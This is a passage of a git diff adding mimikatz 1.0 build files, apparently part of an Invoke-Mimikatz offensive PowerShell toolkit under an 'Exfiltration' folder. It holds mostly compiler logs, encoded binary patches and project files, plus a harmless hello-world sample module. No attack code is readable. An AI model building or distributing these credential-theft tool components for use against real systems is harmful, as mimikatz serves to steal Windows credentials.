+1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res new file mode 100644 index 0000000000000000000000000000000000000000..f3f1c55f6989ddaca5936969f1eb273119eb8a8a GIT binary patch literal 760 zcmZ{iKTpFj5XE1r3?Mo%vXOxS7F1A$*cd3F3IqsH8Bt41i5ilqO@-i7F?QiIu`pA9 z=VJ8_;OK1U?!9;Cvn46Q#^Z^xog1T)kFSCWT&$vU=s}}Wm2E@Ux??`l6}!4Fbk2XB z`IxJL{3J&?}xC%n($hTVg3V;|loIVoSxXpx_U%Su3PiINSk=KsC$I;{pyR=Rdwf|=PY(%u?IDH0k5q|CVx}Y7a?xYp63lwyY~V8v3r>Iv>d*L E-*;MXYXATM literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog new file mode 100644 index 0000000..17139b5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog @@ -0,0 +1,5 @@ +^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\librairies\kelloworld\kelloworld.vcxproj +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.exp +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.exp diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..41cc4a20e0a59baf82bd059daf3e2544438cc9fb GIT binary patch literal 2332 zcmds(U2hUW6o%hx6aNF@#;dMY6Jtoc*e@!&EE~2+HN*ylrmH|3Xsa>)_SWajpao)M zFQwU#nR(AUb3W#rGu&K%QmlpsI#5f8dZV5qR)sq1D^*t|SgMRK)e*R1EwveQ_#ya! zb*}g9cn7+N%;YUrA&ig6w~;;VE6_6}8N7%SLqmaf7 zX}yDazsx7|&-%^*zZ#w_owe3;0#2#$%vf#mAjjq=9+kwvV?*qybi$4$RyUbXnOl7B zYh&Pixo|oyK4aDvfeG4Y%+}BM{%l*)!!qmVb*KA^om0Km6ZS4QV!Qw||0?*O`OM~} zW1hgBGM~WkItpqy+JSpMCtjnK&82(CN_}wmlX7E?)%%ffvwcvX!G+6U%kkz0(jtl; z$za6fgYgf^jfglVoVM?f1PwVcv==T$7ILz$j-1yrMpxT)4WA?SE*6|&Z{Gi3H$LBe z4p^SW{1dSHNwNJ%uk>;i0eh)y_sH>u%QEXPoAofGR>v+=17;(A(Kg33j_Dmks@ih% TlJVc{%5|H&cz^E}w-)>Y=!$bo literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..da4e714e2eada07e3ddadd6e75119c1eb6158d53 GIT binary patch literal 3694 zcmds)%}&EG5QOK9#5?o|hem};fVibeS^{lSCH(;u!He+hz_)fwq*et*RM1p8I9_k; zS+8fj`FMX(q+3-QDb-AOnrlFBs$5GYDpX=iH0DY4h}~?dCbSv;A@+)XrUhR-VC^zy z<0-umk7vd=EnQtGP>+!@egkFHzw^(r@yt!Nl>>|@1PmyBoX>vD%jfbT%}dOMum?KbDe$MMSP4>^q`5zT3jC8pG|dL7NFPFDPx5@U`o7&|BGXbAsI z1xnt}(1IIX=^QQ^yCdgY;y;A*9eiR~Y+UxNjTu?G{zBJ|`ypeV{S~`uds;Yd2P(%ip3}jK$|(ZR0K4IgsBZ$i ztp3>#il$mT2T2SDug?3y&}1jpw}NjYZl{UM%%R{p3^Y0Ui8(QLH`|@O-+VPYGgkK( zV6jTi>hoLJ{Q;v1S$M7xK>A)9T*bzSO&pix3SoT1{}MS+MP+@!(|~tM#*owUM(CxU#}uuGHh4od&;kCI4)yUBMj4hx zm7Ul1O0CWswp9}0X>w~}*IlWr-`nmJRNBnIDrqXfACt+d3A9h&NBX39=vpUL=XT)N z$r{jk46jFI1FHkpbImqZg)Z+q?GtxDsVY2UM4s0$3vSU+G5sV9N6_DmhHF$x(qY{+8S zr6r2yl}saMHgfDlZ`pUr z`!{cJJXX;-l;D{X&@KK#*Sh*4A|T361wO9vOpRxPZA=`V zoWBBl=_@sQ*>_)2r9=Z`l52uLC6lq4=z_lQw9qAWt&`Zt*2FK#I-&EFxR#R{Rt?tr znkCkpE{9G#&J9Y%#94&%`M&b$!7K8GbQ@CV80T}HoiyuVj)|YHP20M(?K9;}|AzmP zDVb+>^jV;(sTgV0;xOy?Nd@F|Wbc{VFlV>luQgbw8$YRl4V&@Kbq{J)HsHf%jn)3L vFE!cLbo;T`fb8?FRgzW?&D^HSVPx9@V1_Tlva&ey7+1c5< z+x4tMubQ+|(4f6WZ9tt`o#geV9?q-c^LmFjE~w^g&^!1E+~`Qh0XC&(^#F1xKB#|Z zQsv6Dq*9^V;OIEb*E4U5J~q)ZwD6U-uqWz`)>{3d$WU2V7Ii~RYB{%HOX8{2{59Y* zP8xLi+`eN<%NxsFxNfEU@`V!ZK%>%lT&I;7Sjd5lR%Gq+> l^hn=)Qw2Ix_~`dF&jjD$=h)UU=cmk%did8j`|CSc&O4AiSWf@| literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..fb31489d33c3b7bae9a4e0c9100fbd38dd76ece8 GIT binary patch literal 700 zcmds!OACTf6oh9T^dG`~?>4nllafrMHzBp?MI;5as9#@wSE5DHItUq#XJ+o)5%0IT zTs0J{C0|3eHIl>DQ>2MJ^)-O=6!3VO!W+(4ml@)>;bZntV@`Bn^Jqr**=!s$^mit& zvI;7p1o#{hZKlcfxGzp~%#Ef)1RtpRg)N}E$||EGo}3o+56N*k*CZ|X#~*(Hb;M~- literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..811b6f949100f90020da726ffa398e2995468e14 GIT binary patch literal 2552 zcmd6p%}&Bl5QWd$#CKq+3y5sgxGT3UHWW%IEyOhP{x6|^GbND_U8tDbG@*BXI&RF9uSZh_{@3ByUE=guB(v=+}82>u4A%{H4-wyc429*Sb1RvBs{L#VRf}Qcg`n zUbDUd|D*18dqfmGw3j+5CY%mY;bv zr`N{&PT+57_;yUSx;Va?=@-6#ef<>Xc5b(NaP|_oIp^vWi|ys*`1%W;2Hd7})7Pc; z?{|0tEH1eMdbBqoKBClB9v?@q96N>LV@cVWIhq-UdfTIR<0`lIuSI|rQ?9-DLtv=( z^Zfv-27K%2JN7k8|AFr(-?#Hqx@Rr6x>MItukKIYVxzKiz14wVQ~A))^?2-m-09c# E1LB}!-~a#s literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..30d54de61ada193a04a609844a0e34bac58afc2e GIT binary patch literal 414 zcmdUrOA5k35Cv;3c$5S`J9kMOG#C@{7YV`ppF*v6Dd=8i(R96@*YoE2xKpuWWJArF zEf-3=106kyBPUs+@g#2YU^RPd>wF;}?OU$i*hw?B&}+NGi9!97WX#E#sWi@&Iu_RO kP3{}tKCv<0(8(LtUudpcF=g^MDSA`3ELr?W6u%IeUi0%ki~s-t literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp new file mode 100644 index 0000000..d49a183 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp @@ -0,0 +1,12 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kelloworld.h" + +__kextdll bool __cdecl helloworld(mod_pipe * monPipe, vector * mesArguments) +{ + MessageBox(NULL, L"Hello World!", MIMIKATZ_FULL, MB_ICONINFORMATION | MB_OK); + return true; +} diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h new file mode 100644 index 0000000..daa8973 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h @@ -0,0 +1,9 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" + +__kextdll bool __cdecl helloworld(mod_pipe * monPipe, vector * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc new file mode 100644 index 0000000000000000000000000000000000000000..312b232e15015e5c81f0382c95b353aa17e00f35 GIT binary patch literal 1886 zcmbu9Yi|-!5Qg8+CjN&b{i2C6Q2PhURpJ&%xu~B=r4&h#C9uRx{O#&9=df&HsS%pZ z-sa4_GwZq%p`l_m_wuZV^4QZ9{mLh#Z(&c%jGLnez=X$0y zZ$HvZYmett&<&{HwFGsgH~NAkXs+=Te4gqp^>|0TFLvU;)k|Wn>*FTwE;06DP=Uh` z4iVQYtbTF1M=g6`T&saao%bac<}u={g|yGR0iN4Rf?kc&ir(opCtbA4kDMEp-2=3S zJZt#q`dqj8Z-P=MYPWZi%FWWD(FDD=r{h$@dvSXQ-46I|xc7;!_g@w%dfhW<5Zx7= zyLyl3A~k(WWh2iaizL$xI>nqu8-#Fn0g7E0Ih`Jz)$zGCKc(Dx$m_0F>Zy!f!{;yX zc6f8X3T>EM>;)o7=t%4J2|1k7uVXCc@QFA58LZ6i5L$K`k<%2_m=rbgj6U-Wou2BZ z?|&nvS_3j2Q7h}O0v=+0)q+`?>j#~2!`~RW^;iM6W8{hF;b1t`H}1pU596mfsQM`# z`P?i#VhnQX=bqCUR}6lP&WyhF7EOY{@@0-ZHlP9He4SvR}YNpTJEyu@}2 zMix(reNx=s$MCgUCmwT7yt73IkKLUH=k*#tIYG&OwVf!W9Z01iKTdU&t(mA|J zIwyBeuWbk4G1*_!nMsc6e%+2?xr=;yjcj99H+v-XXI^4kG@G;mxm`YKa(Cye2b#^+ kie9k(eb{HVfx=wdv{_YbXFc34S+v>L8699fKV_%<1$eLYhyVZp literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj new file mode 100644 index 0000000..b0b3674 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj @@ -0,0 +1,121 @@ + + + + + Release + Win32 + + + Release + x64 + + + + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6} + Win32Proj + kelloworld + + + + DynamicLibrary + false + true + Unicode + Static + + + DynamicLibrary + false + true + Unicode + Static + + + + + + + + + + + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;KELLOWORLD_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + Size + true + false + Fast + false + false + None + + + Windows + true + true + user32.lib + NoErrorReport + + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;KELLOWORLD_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + Size + true + false + Fast + false + false + None + + + Windows + true + true + user32.lib + NoErrorReport + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters new file mode 100644 index 0000000..4271331 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters @@ -0,0 +1,44 @@ + + + + + + Modules Communs\Communication + + + Modules Communs\Parseur + + + Modules Communs\Librairie Modèle + + + + + + Modules Communs\Communication + + + Modules Communs\Parseur + + + Modules Communs\Librairie Modèle + + + + + {78bbda7e-d41f-4f1c-8aab-9b9471b30a56} + + + {314aff70-fe34-4afa-9341-0ad0a9a9a735} + + + {86a68fa7-1f11-48c7-9821-f5c8bf8b6724} + + + {7790e784-5bb7-405d-8bc7-0a3f5351245b} + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..bcd26b3ce5cb2c8e9b10a4236d9947f73e6e3bf2 GIT binary patch literal 125158 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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..73eaec6743f26b68834f76a6c282c3db5eb2bb5d GIT binary patch literal 3668 zcmeH~-EM+F5QWcm6CXvR^{#h-n-&X5RQzd3`yxKO`Ypt^kaE-3xN8U(%gpR9GiMGn zyQky3B0Z_pvtq6FqCz23u7$QTT55&PDB&^Mp|`qNDPzX`0DXy^X~T+Fv_ovx9wP-%EGj>U^M|>^U;imp2#1Rs4z-Z$(;9>nt@H1lk{_cjy zHG)NzFY9Y9e}H6AWz&H5(h+pKeT^%oxsB*bd)Tms6X_?O13fs-*DWm0G}U8^y9;p^~K+Ov}=uzu{3+pR|Ky2OTYf$4b^hONni})b2@)mRiN8q q+})La>YzQ|e?0?s<9(@x^+~Wt`dUag`)7~#|J-eUb9cB0j-LTA?h+LM literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..5cef6b960f3ad63b607b1af1c68f4aeecc964dea GIT binary patch literal 5964 zcmeI0U2hUW6o%hx6aRzheYMp)?)X^N4J=FekV=SzVzETnlD1aqk5`|wvp}&SsooUK zWCOG3W6qqN^Uj-@`StUY$|`7}P?0)%udYf+O(p6nP)luef$BVg&d{4KQcT;xzleT- z+|UPl)X*MdGkb(o#G{Y>PtCDT^;#!b%JhnPxmj*JOK1JL3uTLyJr|)tolPe}vw$O?5|)uV^h>vrmymc-&(* z>7izmt>tlrZO*tUx$H+yb8`AjMl-(WCeNzRH&}Klwi&-K{7mlYUEZGY?WReXC)c_j z2{D|!%soP?VVVm6J!Y>#jJIn|Bdb@53WjUlF!!qvy+=(}y@zi`8M4tQ`@{P`w1XhGx^*I=IfpZ)F)VnIF8XA8Y!iLOwF=NC4 + + + + + + + + + diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate new file mode 100644 index 0000000..4d28193 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res new file mode 100644 index 0000000000000000000000000000000000000000..3104953fd2cbbed0751773c0dfa68f3ee25f5739 GIT binary patch literal 740 zcmZ{iK}y3w6o&tlAPQM{1G8|UAks<}?p#=vqNu3UrLW7=@>bugZdH5K>{G;Ks|ySmmL^O3IDb#$R~ z{yWUa?9KS_zrH1tUvaqgz(ysX&qaP+@~Q2?S8Ak0nPS)y4K;u{)1z{LpCox|D#GsV z+Gm#b72rPv^Q=NW@UNVv$KSxxpRi^y8@^DdtS^{g-5}4^X@eTWYw8ykos(roN?uMR zCHnzX2y zMwMYr(fmA8-)cAm7h9C+LVnWJk$ zC(7Ds^rss}bYwLz<}52;*4-x0<7M@z2bFC2Fe!mZ;8?=nUMjR2gFf`4GI% zyrIwR_yl^unyshILL|PjzKa~_NP%9nQb#UAW5{TF6YTZbSw~yU*vAXg{#I`ac))t3 zkNUHx-nU((`{jK`&a3!c=j`?```-I=7#uoQCosLe=aHnY9{2e)I{HGzcVSiba27B1 zLWdx2o~HXxTt8|fSD_a)`6VhL)8q^dD?fCBTt76?jfQlKmacWDv6fhvFiv?A{nWx? zxn_)Wv{oNa^fk0O?bbB>o7B0J@MjD)w*q9;YqmIDj2G+cYyad+!B<16dit;(tQ zI3dsJmgBT>rB*;va_5mc5;0sc`7XSP$X=Bk966*)O*P1z-MTSrA)0-?G`PWIY-O$s zdOp})-9m@m!_T#nd{>bR$=C4lgLbgl2BZ{0Zv~m=nPt$|jaUB1V>`U(2;&AD=PHKMk=^ zvTk8`##>pBfkW9g1*eZ^6Hr=w$3YTvrkW$ly4jz7^+~#czstF9?O;Fay1JK5 z-gR>q`}adRRsq+Z*yj8xOsX}D)~g9MsaB>5mK+UG%_vMiM{Cx7t#u~MT<}c= z1Lm})tpD*Fb*lM$$;ygHwW{JhGKdD$#v`Lo4K;NLo&dYz3=I!Qe32dqMPH3vfF#UUnUw?4f?TJ`qW*WseSkEh!l)Z85N*vc`d!qlAT;yMn0{&ZKiH}_*QS52O_K2$WZ GVX#lutyPo& literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..ed695bea19e64bbbc5598a6ed19a6031ec6e68f7 GIT binary patch literal 1570 zcmdUv%L>9U5Jm4=@KY>4cJ5M*8cnOT^-0km@!Qpt2!eteHxjy-&Yfg(=Xt-KHPKkD z=5lJZ&{jFxMr-Y5RjCHE@_beY@PIiL$ddC0yhSgy_6FG=wK7O z+S2J&;*q#Gk11E9){%*C=&IsXi>^9M QTk>D>M1$x9JS(8Ws9HPkLde|zptj0HsTw*~q$4%KA|-qxoq!t_tHxP}AA)DZb#2faGqSL3D(7-PY=(in0ikG&K&+ZxJ{Ge zJJcPh?bz}?qH`E8w@eb@BtgonmGUf literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..6e3ab6c68b7b172e25e4c71337a433e3acd6ed49 GIT binary patch literal 1098 zcmdUu%}#?*5QWd$#CKq+ixN;%t2>~#l@v--C~eG*PvWzy-&{;;v2o+V7(%%7bI+VP zGrYgOsL-RlmMYchNjv3O8#UU?X{#2WQ^n(Sz;C`%HQzP)8GetwR?m$U-U%^_mslAY z&&0=`iBiQ%h*ad|AZC0G*HO=NvjVN)>tSK&x4Jp;$C{Hh*VY1exZJH@(`gfcgrsT1b zv(FSwO~qVCEyk$dCl!O~K=;gTn6raH!`XJK*Ik%Y%w8qDsUGlJl`Z~ZvyRn%vo9@Z qtI+wFbFcfrA)|7R3Z_8~;~3tDunR>{#igR`@!4;WaeEtCLpIy^(+n051 t)uQ0t@Xp#=SOLG;TmJP@<%&ypul9OvkN9BD=RSGN)`z{Py3hH&-wx=IT=f6| literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..ee2aaa13729167377105a15d48b462c639dbeeb3 GIT binary patch literal 2532 zcmd6p%TB{E5Jm4AiGS!47LDiz5WCb#O4RhBrb!Tr=>Pu&aAs18s$v5aIf~SH#$(U% z_{Q$X`r*Tkpzd+fDZMlA78>9hV4 zD<$HU{&UY%GbOsCry_37j45xMHz!}u$cotl@6&cdM9{Uaj>KE+4cs<*rHKm08)Z%V z2G&R2>-LyEcx+940n-H9lDNkCC$#poGkhERW{?eZEtz^>MMZ|fEn90KkHzQSTaat# zc@t_iHolHktuM}3v-+j))i8fXx`D_3vz^|qpDz$! A$^ZZW literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog new file mode 100644 index 